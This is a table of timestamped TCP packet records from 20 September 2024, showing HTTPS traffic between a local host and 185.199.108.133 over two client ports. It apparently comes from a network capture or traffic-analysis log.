Sep 20, 2024 12:14:56.730351925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.730377913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.730401039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.765947104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.765985012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.766063929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.766083956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.766108990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.766127110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.766516924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.766540051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.766582012 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.766591072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.766614914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.766640902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767250061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767272949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767313957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767322063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767350912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767368078 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767875910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767904043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767939091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767946005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.767967939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.767992020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.768654108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.768683910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.768718004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.768724918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.768744946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.768768072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.769150019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.769172907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.769200087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.769208908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.769238949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.769256115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.776271105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.776323080 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.776370049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.776379108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.776432991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.776451111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.776916981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.776963949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.776993990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.777000904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.777024031 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.777048111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.814959049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815007925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815099001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815110922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815162897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815227985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815274954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815295935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815295935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815309048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815340996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815375090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815479994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815521002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815567017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815577984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815604925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815653086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815704107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815745115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815790892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815800905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.815839052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.815855980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.816487074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.816541910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.816570997 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.816581011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.816612959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.816632032 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817117929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.817162037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.817204952 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817214966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.817240000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817266941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817862034 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.817905903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.817971945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817971945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.817985058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.818775892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.818823099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.818864107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.818875074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.818900108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.818918943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853300095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853385925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853455067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853471041 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853502035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853524923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853718042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853760958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853790998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853797913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.853820086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.853842974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.854540110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.854579926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.854613066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.854620934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.854648113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.854666948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.855123043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.855164051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.855192900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.855200052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.855222940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.855245113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856051922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856092930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856122017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856129885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856154919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856170893 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856554031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856592894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856625080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856631994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.856662035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.856682062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.863219023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.863260984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.863291979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.863300085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.863322020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.863341093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.863943100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.863984108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.864025116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.864032030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.864061117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.864080906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.899877071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.899931908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.900043011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.900058985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.900085926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.900115013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.900243044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.900286913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.900324106 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.900333881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.900358915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901010036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901058912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901092052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901103973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901129007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901159048 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901459932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901501894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901542902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901554108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.901587009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.901606083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.902319908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.902393103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.902478933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.902492046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.902545929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.902901888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.902941942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.902991056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.903022051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.903048992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.903618097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.903666973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.903707027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.903718948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.903744936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.903774977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.904290915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.904329062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.904391050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.904407024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.904433012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.905080080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.940675974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.940748930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.940834045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.940849066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.940864086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.940901041 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.940917969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.940973043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.940994978 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.940999985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.941016912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.941559076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.941613913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.941643953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.941654921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.941677094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.942131042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942174911 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942203999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.942214966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942236900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.942801952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942842960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942873001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.942881107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.942903996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.944436073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.944454908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.944531918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.944541931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950022936 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950042963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950083971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.950093031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950117111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.950803995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950824022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950879097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.950889111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.950917006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.951381922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.951410055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.951442957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.951451063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.951472044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.986593008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.986639977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.986748934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.986766100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.986819029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987046957 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987090111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987131119 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987142086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987183094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987205029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987706900 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987746954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987790108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987801075 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.987828016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.987847090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.988631010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.988670111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.988711119 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.988720894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.988748074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.988770008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.989387035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.989425898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.989464998 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.989475012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.989504099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.989521027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.989938021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.989978075 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.990020990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.990031958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.990056992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.990092039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.990797997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.990838051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.990880966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.990890980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.990916014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.990948915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.991350889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.991410017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.991427898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.991437912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.991470098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.991493940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.003357887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.027600050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.027671099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.027817011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.027817011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.027851105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028140068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028192997 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028233051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.028242111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028259993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.028290987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.028868914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028914928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028938055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.028947115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.028961897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.028986931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.029747963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.029802084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.029834032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.029840946 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.029863119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.029881954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.030235052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.030287027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.030316114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.030322075 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.030349970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.030369043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037318945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037362099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037390947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037399054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037421942 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037442923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037817955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037859917 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037888050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037894964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.037918091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.037938118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.073908091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.073951960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.074135065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074136019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074148893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.074306965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.074361086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074372053 CEST	443	58640	185.199.108.133	192.168.2.4
